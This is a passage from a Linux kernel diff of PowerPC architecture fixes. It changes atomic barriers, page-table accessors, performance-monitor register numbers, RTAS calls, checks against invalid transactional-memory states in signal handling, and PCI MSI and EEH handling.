a/arch/powerpc/include/asm/cmpxchg.h +++ b/arch/powerpc/include/asm/cmpxchg.h @@ -18,12 +18,12 @@ __xchg_u32(volatile void *p, unsigned long val) unsigned long prev; __asm__ __volatile__( - PPC_RELEASE_BARRIER + PPC_ATOMIC_ENTRY_BARRIER "1: lwarx %0,0,%2 \n" PPC405_ERR77(0,%2) " stwcx. %3,0,%2 \n\ bne- 1b" - PPC_ACQUIRE_BARRIER + PPC_ATOMIC_EXIT_BARRIER : "=&r" (prev), "+m" (*(volatile unsigned int *)p) : "r" (p), "r" (val) : "cc", "memory"); @@ -61,12 +61,12 @@ __xchg_u64(volatile void *p, unsigned long val) unsigned long prev; __asm__ __volatile__( - PPC_RELEASE_BARRIER + PPC_ATOMIC_ENTRY_BARRIER "1: ldarx %0,0,%2 \n" PPC405_ERR77(0,%2) " stdcx. %3,0,%2 \n\ bne- 1b" - PPC_ACQUIRE_BARRIER + PPC_ATOMIC_EXIT_BARRIER : "=&r" (prev), "+m" (*(volatile unsigned long *)p) : "r" (p), "r" (val) : "cc", "memory"); @@ -152,14 +152,14 @@ __cmpxchg_u32(volatile unsigned int *p, unsigned long old, unsigned long new) unsigned int prev; __asm__ __volatile__ ( - PPC_RELEASE_BARRIER + PPC_ATOMIC_ENTRY_BARRIER "1: lwarx %0,0,%2 # __cmpxchg_u32\n\ cmpw 0,%0,%3\n\ bne- 2f\n" PPC405_ERR77(0,%2) " stwcx. %4,0,%2\n\ bne- 1b" - PPC_ACQUIRE_BARRIER + PPC_ATOMIC_EXIT_BARRIER "\n\ 2:" : "=&r" (prev), "+m" (*p) @@ -198,13 +198,13 @@ __cmpxchg_u64(volatile unsigned long *p, unsigned long old, unsigned long new) unsigned long prev; __asm__ __volatile__ ( - PPC_RELEASE_BARRIER + PPC_ATOMIC_ENTRY_BARRIER "1: ldarx %0,0,%2 # __cmpxchg_u64\n\ cmpd 0,%0,%3\n\ bne- 2f\n\ stdcx. %4,0,%2\n\ bne- 1b" - PPC_ACQUIRE_BARRIER + PPC_ATOMIC_EXIT_BARRIER "\n\ 2:" : "=&r" (prev), "+m" (*p) diff --git a/arch/powerpc/include/asm/pgtable-ppc64.h b/arch/powerpc/include/asm/pgtable-ppc64.h index e3d55f6f24fe1..6fbb2b46098c3 100644 --- a/arch/powerpc/include/asm/pgtable-ppc64.h +++ b/arch/powerpc/include/asm/pgtable-ppc64.h @@ -130,7 +130,19 @@ #define pte_iterate_hashed_end() } while(0) #ifdef CONFIG_PPC_HAS_HASH_64K -#define pte_pagesize_index(mm, addr, pte) get_slice_psize(mm, addr) +/* + * We expect this to be called only for user addresses or kernel virtual + * addresses other than the linear mapping. + */ +#define pte_pagesize_index(mm, addr, pte) \ + ({ \ + unsigned int psize; \ + if (is_kernel_addr(addr)) \ + psize = MMU_PAGE_4K; \ + else \ + psize = get_slice_psize(mm, addr); \ + psize; \ + }) #else #define pte_pagesize_index(mm, addr, pte) MMU_PAGE_4K #endif diff --git a/arch/powerpc/include/asm/pte-hash64-64k.h b/arch/powerpc/include/asm/pte-hash64-64k.h index d836d945068d0..063fcadd1a00c 100644 --- a/arch/powerpc/include/asm/pte-hash64-64k.h +++ b/arch/powerpc/include/asm/pte-hash64-64k.h @@ -40,17 +40,39 @@ #ifndef __ASSEMBLY__ +#include /* for smp_rmb() */ + /* * With 64K pages on hash table, we have a special PTE format that * uses a second "half" of the page table to encode sub-page information * in order to deal with 64K made of 4K HW pages. Thus we override the * generic accessors and iterators here */ -#define __real_pte(e,p) ((real_pte_t) { \ - (e), (pte_val(e) & _PAGE_COMBO) ? \ - (pte_val(*((p) + PTRS_PER_PTE))) : 0 }) -#define __rpte_to_hidx(r,index) ((pte_val((r).pte) & _PAGE_COMBO) ? \ - (((r).hidx >> ((index)<<2)) & 0xf) : ((pte_val((r).pte) >> 12) & 0xf)) +#define __real_pte __real_pte +static inline real_pte_t __real_pte(pte_t pte, pte_t *ptep) +{ + real_pte_t rpte; + + rpte.pte = pte; + rpte.hidx = 0; + if (pte_val(pte) & _PAGE_COMBO) { + /* + * Make sure we order the hidx load against the _PAGE_COMBO + * check. The store side ordering is done in __hash_page_4K + */ + smp_rmb(); + rpte.hidx = pte_val(*((ptep) + PTRS_PER_PTE)); + } + return rpte; +} + +static inline unsigned long __rpte_to_hidx(real_pte_t rpte, unsigned long index) +{ + if ((pte_val(rpte.pte) & _PAGE_COMBO)) + return (rpte.hidx >> (index<<2)) & 0xf; + return (pte_val(rpte.pte) >> 12) & 0xf; +} + #define __rpte_to_pte(r) ((r).pte) #define __rpte_sub_valid(rpte, index) \ (pte_val(rpte.pte) & (_PAGE_HPTE_SUB0 >> (index))) diff --git a/arch/powerpc/include/asm/ptrace.h b/arch/powerpc/include/asm/ptrace.h index becc08e6a65c5..637c97fcbeb57 100644 --- a/arch/powerpc/include/asm/ptrace.h +++ b/arch/powerpc/include/asm/ptrace.h @@ -35,6 +35,12 @@ STACK_FRAME_OVERHEAD + 288) #define STACK_FRAME_MARKER 12 +#if defined(_CALL_ELF) && _CALL_ELF == 2 +#define STACK_FRAME_MIN_SIZE 32 +#else +#define STACK_FRAME_MIN_SIZE STACK_FRAME_OVERHEAD +#endif + /* Size of dummy stack frame allocated when calling signal handler. */ #define __SIGNAL_FRAMESIZE 128 #define __SIGNAL_FRAMESIZE32 64 @@ -46,6 +52,7 @@ #define STACK_FRAME_REGS_MARKER ASM_CONST(0x72656773) #define STACK_INT_FRAME_SIZE (sizeof(struct pt_regs) + STACK_FRAME_OVERHEAD) #define STACK_FRAME_MARKER 2 +#define STACK_FRAME_MIN_SIZE STACK_FRAME_OVERHEAD /* Size of stack frame allocated when calling signal handler. */ #define __SIGNAL_FRAMESIZE 64 diff --git a/arch/powerpc/include/asm/reg.h b/arch/powerpc/include/asm/reg.h index 795f67792ea98..469d7715d6aaf 100644 --- a/arch/powerpc/include/asm/reg.h +++ b/arch/powerpc/include/asm/reg.h @@ -108,6 +108,7 @@ #define MSR_TS_T __MASK(MSR_TS_T_LG) /* Transaction Transactional */ #define MSR_TS_MASK (MSR_TS_T | MSR_TS_S) /* Transaction State bits */ #define MSR_TM_ACTIVE(x) (((x) & MSR_TS_MASK) != 0) /* Transaction active? */ +#define MSR_TM_RESV(x) (((x) & MSR_TS_MASK) == MSR_TS_MASK) /* Reserved */ #define MSR_TM_TRANSACTIONAL(x) (((x) & MSR_TS_MASK) == MSR_TS_T) #define MSR_TM_SUSPENDED(x) (((x) & MSR_TS_MASK) == MSR_TS_S) @@ -642,7 +643,7 @@ #define MMCR0_FCWAIT 0x00000002UL /* freeze counter in WAIT state */ #define MMCR0_FCHV 0x00000001UL /* freeze conditions in hypervisor mode */ #define SPRN_MMCR1 798 -#define SPRN_MMCR2 769 +#define SPRN_MMCR2 785 #define SPRN_MMCRA 0x312 #define MMCRA_SDSYNC 0x80000000UL /* SDAR synced with SIAR */ #define MMCRA_SDAR_DCACHE_MISS 0x40000000UL @@ -676,13 +677,13 @@ #define SPRN_PMC6 792 #define SPRN_PMC7 793 #define SPRN_PMC8 794 -#define SPRN_SIAR 780 -#define SPRN_SDAR 781 #define SPRN_SIER 784 #define SIER_SIPR 0x2000000 /* Sampled MSR_PR */ #define SIER_SIHV 0x1000000 /* Sampled MSR_HV */ #define SIER_SIAR_VALID 0x0400000 /* SIAR contents valid */ #define SIER_SDAR_VALID 0x0200000 /* SDAR contents valid */ +#define SPRN_SIAR 796 +#define SPRN_SDAR 797 #define SPRN_PA6T_MMCR0 795 #define PA6T_MMCR0_EN0 0x0000000000000001UL diff --git a/arch/powerpc/include/asm/rtas.h b/arch/powerpc/include/asm/rtas.h index 34fd70488d83f..c5d5cb36f6c66 100644 --- a/arch/powerpc/include/asm/rtas.h +++ b/arch/powerpc/include/asm/rtas.h @@ -255,6 +255,7 @@ extern void rtas_power_off(void); extern void rtas_halt(void); extern void rtas_os_term(char *str); extern int rtas_get_sensor(int sensor, int index, int *state); +extern int rtas_get_sensor_fast(int sensor, int index, int *state); extern int rtas_get_power_level(int powerdomain, int *level); extern int rtas_set_power_level(int powerdomain, int level, int *setlevel); extern bool rtas_indicator_present(int token, int *maxindex); diff --git a/arch/powerpc/include/asm/synch.h b/arch/powerpc/include/asm/synch.h index e682a7143edb7..c50868681f9ea 100644 --- a/arch/powerpc/include/asm/synch.h +++ b/arch/powerpc/include/asm/synch.h @@ -44,7 +44,7 @@ static inline void isync(void) MAKE_LWSYNC_SECTION_ENTRY(97, __lwsync_fixup); #define PPC_ACQUIRE_BARRIER "\n" stringify_in_c(__PPC_ACQUIRE_BARRIER) #define PPC_RELEASE_BARRIER stringify_in_c(LWSYNC) "\n" -#define PPC_ATOMIC_ENTRY_BARRIER "\n" stringify_in_c(LWSYNC) "\n" +#define PPC_ATOMIC_ENTRY_BARRIER "\n" stringify_in_c(sync) "\n" #define PPC_ATOMIC_EXIT_BARRIER "\n" stringify_in_c(sync) "\n" #else #define PPC_ACQUIRE_BARRIER diff --git a/arch/powerpc/include/uapi/asm/cputable.h b/arch/powerpc/include/uapi/asm/cputable.h index de2c0e4ee1aab..67de80a8e1785 100644 --- a/arch/powerpc/include/uapi/asm/cputable.h +++ b/arch/powerpc/include/uapi/asm/cputable.h @@ -31,6 +31,7 @@ #define PPC_FEATURE_PSERIES_PERFMON_COMPAT \ 0x00000040 +/* Reserved - do not use 0x00000004 */ #define PPC_FEATURE_TRUE_LE 0x00000002 #define PPC_FEATURE_PPC_LE 0x00000001 diff --git a/arch/powerpc/kernel/exceptions-64s.S b/arch/powerpc/kernel/exceptions-64s.S index 902ca3c6b4b64..3ac1d3a905514 100644 --- a/arch/powerpc/kernel/exceptions-64s.S +++ b/arch/powerpc/kernel/exceptions-64s.S @@ -857,11 +857,6 @@ hv_facility_unavailable_relon_trampoline: #endif STD_RELON_EXCEPTION_PSERIES(0x5700, 0x1700, altivec_assist) - /* Other future vectors */ - .align 7 - .globl __end_interrupts -__end_interrupts: - .align 7 system_call_entry_direct: #if defined(CONFIG_RELOCATABLE) @@ -1191,6 +1186,17 @@ __end_handlers: STD_RELON_EXCEPTION_PSERIES_OOL(0xf60, facility_unavailable) STD_RELON_EXCEPTION_HV_OOL(0xf80, hv_facility_unavailable) + /* + * The __end_interrupts marker must be past the out-of-line (OOL) + * handlers, so that they are copied to real address 0x100 when running + * a relocatable kernel. This ensures they can be reached from the short + * trampoline handlers (like 0x4f00, 0x4f20, etc.) which branch + * directly, without using LOAD_HANDLER(). + */ + .align 7 + .globl __end_interrupts +__end_interrupts: + #if defined(CONFIG_PPC_PSERIES) || defined(CONFIG_PPC_POWERNV) /* * Data area reserved for FWNMI option. diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c index 6ee59a0eb268b..48b4cf6b2a249 100644 --- a/arch/powerpc/kernel/module_64.c +++ b/arch/powerpc/kernel/module_64.c @@ -192,7 +192,7 @@ static void dedotify(Elf64_Sym *syms, unsigned int numsyms, char *strtab) if (syms[i].st_shndx == SHN_UNDEF) { char *name = strtab + syms[i].st_name; if (name[0] == '.') - memmove(name, name+1, strlen(name)); + syms[i].st_name++; } } } diff --git a/arch/powerpc/kernel/prom.c b/arch/powerpc/kernel/prom.c index 56575ac64a469..6a68d597c3667 100644 --- a/arch/powerpc/kernel/prom.c +++ b/arch/powerpc/kernel/prom.c @@ -158,7 +158,7 @@ static struct ibm_pa_feature { {CPU_FTR_NOEXECUTE, 0, 0, 0, 6, 0}, {CPU_FTR_NODSISRALIGN, 0, 0, 1, 1, 1}, {0, MMU_FTR_CI_LARGE_PAGE, 0, 1, 2, 0}, - {CPU_FTR_REAL_LE, PPC_FEATURE_TRUE_LE, 5, 0, 0}, + {CPU_FTR_REAL_LE, 0, PPC_FEATURE_TRUE_LE, 5, 0, 0}, }; static void __init scan_features(unsigned long node, const unsigned char *ftrs, diff --git a/arch/powerpc/kernel/rtas.c b/arch/powerpc/kernel/rtas.c index 2d6f5a8e19e25..19f49f5b535f1 100644 --- a/arch/powerpc/kernel/rtas.c +++ b/arch/powerpc/kernel/rtas.c @@ -584,6 +584,23 @@ int rtas_get_sensor(int sensor, int index, int *state) } EXPORT_SYMBOL(rtas_get_sensor); +int rtas_get_sensor_fast(int sensor, int index, int *state) +{ + int token = rtas_token("get-sensor-state"); + int rc; + + if (token == RTAS_UNKNOWN_SERVICE) + return -ENOENT; + + rc = rtas_call(token, 2, 2, state, sensor, index); + WARN_ON(rc == RTAS_BUSY || (rc >= RTAS_EXTENDED_DELAY_MIN && + rc <= RTAS_EXTENDED_DELAY_MAX)); + + if (rc < 0) + return rtas_error_rc(rc); + return rc; +} + bool rtas_indicator_present(int token, int *maxindex) { int proplen, count, i; @@ -1024,6 +1041,9 @@ asmlinkage int ppc_rtas(struct rtas_args __user *uargs) if (!capable(CAP_SYS_ADMIN)) return -EPERM; + if (!rtas.entry) + return -EINVAL; + if (copy_from_user(&args, uargs, 3 * sizeof(u32)) != 0) return -EFAULT; diff --git a/arch/powerpc/kernel/signal_32.c b/arch/powerpc/kernel/signal_32.c index a59d186080335..b9e85f44ca977 100644 --- a/arch/powerpc/kernel/signal_32.c +++ b/arch/powerpc/kernel/signal_32.c @@ -858,6 +858,15 @@ static long restore_tm_user_regs(struct pt_regs *regs, return 1; #endif /* CONFIG_SPE */ + /* Get the top half of the MSR from the user context */ + if (__get_user(msr_hi, &tm_sr->mc_gregs[PT_MSR])) + return 1; + msr_hi <<= 32; + /* If TM bits are set to the reserved value, it's an invalid context */ + if (MSR_TM_RESV(msr_hi)) + return 1; + /* Pull in the MSR TM bits from the user context */ + regs->msr = (regs->msr & ~MSR_TS_MASK) | (msr_hi & MSR_TS_MASK); /* Now, recheckpoint. This loads up all of the checkpointed (older) * registers, including FP and V[S]Rs. After recheckpointing, the * transactional versions should be loaded. @@ -867,11 +876,6 @@ static long restore_tm_user_regs(struct pt_regs *regs, current->thread.tm_texasr |= TEXASR_FS; /* This loads the checkpointed FP/VEC state, if used */ tm_recheckpoint(¤t->thread, msr); - /* Get the top half of the MSR */ - if (__get_user(msr_hi, &tm_sr->mc_gregs[PT_MSR])) - return 1; - /* Pull in MSR TM from user context */ - regs->msr = (regs->msr & ~MSR_TS_MASK) | ((msr_hi<<32) & MSR_TS_MASK); /* This loads the speculative FP/VEC state, if used */ if (msr & MSR_FP) { @@ -949,8 +953,6 @@ int copy_siginfo_to_user32(struct compat_siginfo __user *d, const siginfo_t *s) int copy_siginfo_from_user32(siginfo_t *to, struct compat_siginfo __user *from) { - memset(to, 0, sizeof *to); - if (copy_from_user(to, from, 3*sizeof(int)) || copy_from_user(to->_sifields._pad, from->_sifields._pad, SI_PAD_SIZE32)) diff --git a/arch/powerpc/kernel/signal_64.c b/arch/powerpc/kernel/signal_64.c index 74d9615a6bb6d..2419c17538e20 100644 --- a/arch/powerpc/kernel/signal_64.c +++ b/arch/powerpc/kernel/signal_64.c @@ -416,6 +416,10 @@ static long restore_tm_sigcontexts(struct pt_regs *regs, /* get MSR separately, transfer the LE bit if doing signal return */ err |= __get_user(msr, &sc->gp_regs[PT_MSR]); + /* Don't allow reserved mode. */ + if (MSR_TM_RESV(msr)) + return -EINVAL; + /* pull in MSR TM from user context */ regs->msr = (regs->msr & ~MSR_TS_MASK) | (msr & MSR_TS_MASK); diff --git a/arch/powerpc/kernel/smp.c b/arch/powerpc/kernel/smp.c index ee7ac5e6e28ac..c5c6407795491 100644 --- a/arch/powerpc/kernel/smp.c +++ b/arch/powerpc/kernel/smp.c @@ -544,8 +544,8 @@ int __cpuinit __cpu_up(unsigned int cpu, struct task_struct *tidle) if (smp_ops->give_timebase) smp_ops->give_timebase(); - /* Wait until cpu puts itself in the online map */ - while (!cpu_online(cpu)) + /* Wait until cpu puts itself in the online & active maps */ + while (!cpu_online(cpu) || !cpu_active(cpu)) cpu_relax(); return 0; diff --git a/arch/powerpc/kernel/suspend.c b/arch/powerpc/kernel/suspend.c index 0167d53da30cb..a531154cc0f3a 100644 --- a/arch/powerpc/kernel/suspend.c +++ b/arch/powerpc/kernel/suspend.c @@ -9,9 +9,7 @@ #include #include - -/* References to section boundaries */ -extern const void __nosave_begin, __nosave_end; +#include /* * pfn_is_nosave - check if given pfn is in the 'nosave' section diff --git a/arch/powerpc/kernel/vdso32/getcpu.S b/arch/powerpc/kernel/vdso32/getcpu.S index 47afd08c90f7f..fe7e97a1aad99 100644 --- a/arch/powerpc/kernel/vdso32/getcpu.S +++ b/arch/powerpc/kernel/vdso32/getcpu.S @@ -30,8 +30,8 @@ V_FUNCTION_BEGIN(__kernel_getcpu) .cfi_startproc mfspr r5,SPRN_USPRG3 - cmpdi cr0,r3,0 - cmpdi cr1,r4,0 + cmpwi cr0,r3,0 + cmpwi cr1,r4,0 clrlwi r6,r5,16 rlwinm r7,r5,16,31-15,31-0 beq cr0,1f diff --git a/arch/powerpc/kernel/vmlinux.lds.S b/arch/powerpc/kernel/vmlinux.lds.S index f096e72262f41..1db685104ffc2 100644 --- a/arch/powerpc/kernel/vmlinux.lds.S +++ b/arch/powerpc/kernel/vmlinux.lds.S @@ -213,6 +213,7 @@ SECTIONS *(.opd) } + . = ALIGN(256); .got : AT(ADDR(.got) - LOAD_OFFSET) { __toc_start = .; #ifndef CONFIG_RELOCATABLE diff --git a/arch/powerpc/kvm/book3s_hv.c b/arch/powerpc/kvm/book3s_hv.c index 102ad8a255f36..466fbd54e7f8e 100644 --- a/arch/powerpc/kvm/book3s_hv.c +++ b/arch/powerpc/kvm/book3s_hv.c @@ -160,6 +160,12 @@ void kvmppc_core_vcpu_put(struct kvm_vcpu *vcpu) void kvmppc_set_msr(struct kvm_vcpu *vcpu, u64 msr) { + /* + * Check for illegal transactional state bit combination + * and if we find it, force the TS field to a safe state. + */ + if ((msr & MSR_TS_MASK) == MSR_TS_MASK) + msr &= ~MSR_TS_MASK; vcpu->arch.shregs.msr = msr; kvmppc_end_cede(vcpu); } diff --git a/arch/powerpc/mm/fault.c b/arch/powerpc/mm/fault.c index d9196c9f93d9d..d51a0c110eb4a 100644 --- a/arch/powerpc/mm/fault.c +++ b/arch/powerpc/mm/fault.c @@ -425,6 +425,8 @@ int __kprobes do_page_fault(struct pt_regs *regs, unsigned long address, */ fault = handle_mm_fault(mm, vma, address, flags); if (unlikely(fault & (VM_FAULT_RETRY|VM_FAULT_ERROR))) { + if (fault & VM_FAULT_SIGSEGV) + goto bad_area; rc = mm_fault_error(regs, address, fault); if (rc >= MM_FAULT_RETURN) goto bail; diff --git a/arch/powerpc/mm/numa.c b/arch/powerpc/mm/numa.c index b7293bba00622..08c6f3185d45b 100644 --- a/arch/powerpc/mm/numa.c +++ b/arch/powerpc/mm/numa.c @@ -586,8 +586,8 @@ static int __cpuinit cpu_numa_callback(struct notifier_block *nfb, case CPU_UP_CANCELED: case CPU_UP_CANCELED_FROZEN: unmap_cpu_from_node(lcpu); - break; ret = NOTIFY_OK; + break; #endif } return ret; diff --git a/arch/powerpc/perf/callchain.c b/arch/powerpc/perf/callchain.c index 74d1e780748b5..ead55351b2542 100644 --- a/arch/powerpc/perf/callchain.c +++ b/arch/powerpc/perf/callchain.c @@ -35,7 +35,7 @@ static int valid_next_sp(unsigned long sp, unsigned long prev_sp) return 0; /* must be 16-byte aligned */ if (!validate_sp(sp, current, STACK_FRAME_OVERHEAD)) return 0; - if (sp >= prev_sp + STACK_FRAME_OVERHEAD) + if (sp >= prev_sp + STACK_FRAME_MIN_SIZE) return 1; /* * sp could decrease when we jump off an interrupt stack @@ -243,7 +243,7 @@ static void perf_callchain_user_64(struct perf_callchain_entry *entry, sp = regs->gpr[1]; perf_callchain_store(entry, next_ip); - for (;;) { + while (entry->nr < PERF_MAX_STACK_DEPTH) { fp = (unsigned long __user *) sp; if (!valid_user_sp(sp, 1) || read_user_stack_64(fp, &next_sp)) return; diff --git a/arch/powerpc/perf/core-book3s.c b/arch/powerpc/perf/core-book3s.c index 846861a20b073..b63dc809596d5 100644 --- a/arch/powerpc/perf/core-book3s.c +++ b/arch/powerpc/perf/core-book3s.c @@ -112,7 +112,16 @@ static inline void power_pmu_bhrb_read(struct cpu_hw_events *cpuhw) {} static bool regs_use_siar(struct pt_regs *regs) { - return !!regs->result; + /* + * When we take a performance monitor exception the regs are setup + * using perf_read_regs() which overloads some fields, in particular + * regs->result to tell us whether to use SIAR. + * + * However if the regs are from another exception, eg. a syscall, then + * they have not been setup using perf_read_regs() and so regs->result + * is something random. + */ + return ((TRAP(regs) == 0xf00) && regs->result); } /* diff --git a/arch/powerpc/platforms/cell/spu_fault.c b/arch/powerpc/platforms/cell/spu_fault.c index 641e7273d75ae..62f3e4e48a0b2 100644 --- a/arch/powerpc/platforms/cell/spu_fault.c +++ b/arch/powerpc/platforms/cell/spu_fault.c @@ -75,7 +75,7 @@ int spu_handle_mm_fault(struct mm_struct *mm, unsigned long ea, if (*flt & VM_FAULT_OOM) { ret = -ENOMEM; goto out_unlock; - } else if (*flt & VM_FAULT_SIGBUS) { + } else if (*flt & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV)) { ret = -EFAULT; goto out_unlock; } diff --git a/arch/powerpc/platforms/cell/spufs/inode.c b/arch/powerpc/platforms/cell/spufs/inode.c index 35f77a42bedf7..c5c5788e8a13e 100644 --- a/arch/powerpc/platforms/cell/spufs/inode.c +++ b/arch/powerpc/platforms/cell/spufs/inode.c @@ -164,7 +164,7 @@ static void spufs_prune_dir(struct dentry *dir) struct dentry *dentry, *tmp; mutex_lock(&dir->d_inode->i_mutex); - list_for_each_entry_safe(dentry, tmp, &dir->d_subdirs, d_u.d_child) { + list_for_each_entry_safe(dentry, tmp, &dir->d_subdirs, d_child) { spin_lock(&dentry->d_lock); if (!(d_unhashed(dentry)) && dentry->d_inode) { dget_dlock(dentry); diff --git a/arch/powerpc/platforms/powernv/pci-ioda.c b/arch/powerpc/platforms/powernv/pci-ioda.c index f75607c93e8ab..b2bbb79bd99db 100644 --- a/arch/powerpc/platforms/powernv/pci-ioda.c +++ b/arch/powerpc/platforms/powernv/pci-ioda.c @@ -789,7 +789,6 @@ static int pnv_pci_ioda_msi_setup(struct pnv_phb *phb, struct pci_dev *dev, unsigned int is_64, struct msi_msg *msg) { struct pnv_ioda_pe *pe = pnv_ioda_get_pe(dev); - struct pci_dn *pdn = pci_get_pdn(dev); struct irq_data *idata; struct irq_chip *ichip; unsigned int xive_num = hwirq - phb->msi_base; @@ -806,7 +805,7 @@ static int pnv_pci_ioda_msi_setup(struct pnv_phb *phb, struct pci_dev *dev, return -ENXIO; /* Force 32-bit MSI on some broken devices */ - if (pdn && pdn->force_32bit_msi) + if (dev->no_64bit_msi) is_64 = 0; /* Assign XIVE to PE */ diff --git a/arch/powerpc/platforms/powernv/pci.c b/arch/powerpc/platforms/powernv/pci.c index 277343cc6a3d7..0473d31b3a4de 100644 --- a/arch/powerpc/platforms/powernv/pci.c +++ b/arch/powerpc/platforms/powernv/pci.c @@ -1,3 +1,4 @@ + /* * Support PCI/PCIe on PowerNV platforms * @@ -47,9 +48,8 @@ static int pnv_msi_check_device(struct pci_dev* pdev, int nvec, int type) { struct pci_controller *hose = pci_bus_to_host(pdev->bus); struct pnv_phb *phb = hose->private_data; - struct pci_dn *pdn = pci_get_pdn(pdev); - if (pdn && pdn->force_32bit_msi && !phb->msi32_support) + if (pdev->no_64bit_msi && !phb->msi32_support) return -ENODEV; return (phb && phb->msi_bmp.bitmap) ? 0 : -ENODEV; @@ -106,6 +106,7 @@ static void pnv_teardown_msi_irqs(struct pci_dev *pdev) struct pci_controller *hose = pci_bus_to_host(pdev->bus); struct pnv_phb *phb = hose->private_data; struct msi_desc *entry; + irq_hw_number_t hwirq; if (WARN_ON(!phb)) return; @@ -113,10 +114,10 @@ static void pnv_teardown_msi_irqs(struct pci_dev *pdev) list_for_each_entry(entry, &pdev->msi_list, list) { if (entry->irq == NO_IRQ) continue; + hwirq = virq_to_hw(entry->irq); irq_set_msi_desc(entry->irq, NULL); - msi_bitmap_free_hwirqs(&phb->msi_bmp, - virq_to_hw(entry->irq) - phb->msi_base, 1); irq_dispose_mapping(entry->irq); + msi_bitmap_free_hwirqs(&phb->msi_bmp, hwirq - phb->msi_base, 1); } } #endif /* CONFIG_PCI_MSI */ diff --git a/arch/powerpc/platforms/pseries/eeh_pseries.c b/arch/powerpc/platforms/pseries/eeh_pseries.c index 68f97d5a46796..dc0278e7fd910 100644 --- a/arch/powerpc/platforms/pseries/eeh_pseries.c +++ b/arch/powerpc/platforms/pseries/eeh_pseries.c @@ -551,29 +551,50 @@ static int pseries_eeh_configure_bridge(struct eeh_pe *pe) { int config_addr; int ret; + /* Waiting 0.2s maximum before skipping configuration */ + int max_wait = 200; /* Figure out the PE address */ config_addr = pe->config_addr; if (pe->addr) config_addr = pe->addr; - /* Use new configure-pe function, if supported */ - if (ibm_configure_pe != RTAS_UNKNOWN_SERVICE) { - ret = rtas_call(ibm_configure_pe, 3, 1, NULL, - config_addr, BUID_HI(pe->phb->buid), - BUID_LO(pe->phb->buid)); - } else if (ibm_configure_bridge != RTAS_UNKNOWN_SERVICE) { - ret = rtas_call(ibm_configure_bridge, 3, 1, NULL, - config_addr, BUID_HI(pe->phb->buid), - BUID_LO(pe->phb->buid)); - } else { - return -EFAULT; - } + while (max_wait > 0) { + /* Use new configure-pe function, if supported */ + if (ibm_configure_pe != RTAS_UNKNOWN_SERVICE) { + ret = rtas_call(ibm_configure_pe, 3, 1, NULL, + config_addr, BUID_HI(pe->phb->buid), + BUID_LO(pe->phb->buid)); + } else if (ibm_configure_bridge != RTAS_UNKNOWN_SERVICE) { + ret = rtas_call(ibm_configure_bridge, 3, 1, NULL, + config_addr, BUID_HI(pe->phb->buid), + BUID_LO(pe->phb->buid)); + } else { + return -EFAULT; + } - if (ret) - pr_warning("%s: Unable to configure bridge PHB#%d-PE#%x (%d)\n", - __func__, pe->phb->global_number, pe->addr, ret); + if (!ret) + return ret; + + /* + * If RTAS returns a delay value that's above 100ms, cut it + * down to 100ms in case firmware made a mistake. For more + * on how these delay values work see rtas_busy_delay_time + */ + if (ret > RTAS_EXTENDED_DELAY_MIN+2 && + ret <= RTAS_EXTENDED_DELAY_MAX) + ret = RTAS_EXTENDED_DELAY_MIN+2; + + max_wait -= rtas_busy_delay_time(ret); + + if (max_wait < 0) + break; + + rtas_busy_delay(ret); + } + pr_warn("%s: Unable to configure bridge PHB#%d-PE#%x (%d)\n", + __func__, pe->phb->global_number, pe->addr, ret); return ret; } diff --git a/arch/powerpc/platforms/pseries/hotplug-memory.c b/arch/powerpc/platforms/pseries/hotplug-memory.c index 9a432de363b8d..bebe64ed5dc32 100644 --- a/arch/powerpc/platforms/pseries/hotplug-memory.c +++ b/arch/powerpc/platforms/pseries/hotplug-memory.c @@ -158,7 +158,7 @@ static int pseries_remove_memory(struct device_node *np) static inline int pseries_remove_memblock(unsigned long base, unsigned int memblock_size) { - return -EOPNOTSUPP; + return 0; } static inline int pseries_remove_memory(struct device_node *np) { diff --git a/arch/powerpc/platforms/pseries/iommu.c b/arch/powerpc/platforms/pseries/iommu.c index 86ae364900d60..401369134ba3e 100644 --- a/arch/powerpc/platforms/pseries/iommu.c +++ b/arch/powerpc/platforms/pseries/iommu.c @@ -858,7 +858,8 @@ machine_arch_initcall(pseries, find_existing_ddw_windows); static int query_ddw(struct pci_dev *dev, const u32 *ddw_avail, struct ddw_query_response *query) { - struct eeh_dev *edev; + struct device_node *dn; + struct pci_dn *pdn; u32 cfg_addr; u64 buid; int ret; @@ -869,11 +870,10 @@ static int query_ddw(struct pci_dev *dev, const u32 *ddw_avail, * Retrieve them from the pci device, not the node with the * dma-window property */ - edev = pci_dev_to_eeh_dev(dev); - cfg_addr = edev->config_addr; - if (edev->pe_config_addr) - cfg_addr = edev->pe_config_addr; - buid = edev->phb->buid; + dn = pci_device_to_OF_node(dev); + pdn = PCI_DN(dn); + buid = pdn->phb->buid; + cfg_addr = ((pdn->busno << 16) | (pdn->devfn << 8)); ret = rtas_call(ddw_avail[0], 3, 5, (u32 *)query, cfg_addr, BUID_HI(buid), BUID_LO(buid)); @@ -887,7 +887,8 @@ static int create_ddw(struct pci_dev *dev, const u32 *ddw_avail, struct ddw_create_response *create, int page_shift, int window_shift) { - struct eeh_dev *edev; + struct device_node *dn; + struct pci_dn *pdn; u32 cfg_addr; u64 buid; int ret; @@ -898,11 +899,10 @@ static int create_ddw(struct pci_dev *dev, const u32 *ddw_avail, * Retrieve them from the pci device, not the node with the * dma-window property */ - edev = pci_dev_to_eeh_dev(dev); - cfg_addr = edev->config_addr; - if (edev->pe_config_addr) - cfg_addr = edev->pe_config_addr; - buid = edev->phb->buid; + dn = pci_device_to_OF_node(dev); + pdn = PCI_DN(dn); + buid = pdn->phb->buid; + cfg_addr = ((pdn->busno << 16) | (pdn->devfn << 8)); do { /* extra outputs are LIOBN and dma-addr (hi, lo) */ diff --git a/arch/powerpc/platforms/pseries/msi.c b/arch/powerpc/platforms/pseries/msi.c index 6d2f0abce6fae..3b350fb912854 100644 --- a/arch/powerpc/platforms/pseries/msi.c +++ b/arch/powerpc/platforms/pseries/msi.c @@ -426,7 +426,7 @@ static int rtas_setup_msi_irqs(struct pci_dev *pdev, int nvec_in, int type) */ again: if (type == PCI_CAP_ID_MSI) { - if (pdn->force_32bit_msi) { + if (pdev->no_64bit_msi) { rc = rtas_change_msi(pdn, RTAS_CHANGE_32MSI_FN, nvec); if (rc < 0) { /* diff --git a/arch/powerpc/platforms/pseries/ras.c b/arch/powerpc/platforms/pseries/ras.c index c4dfccd3a3d90..2338e6e98483c 100644 --- a/arch/powerpc/platforms/pseries/ras.c +++ b/arch/powerpc/platforms/pseries/ras.c @@ -187,7 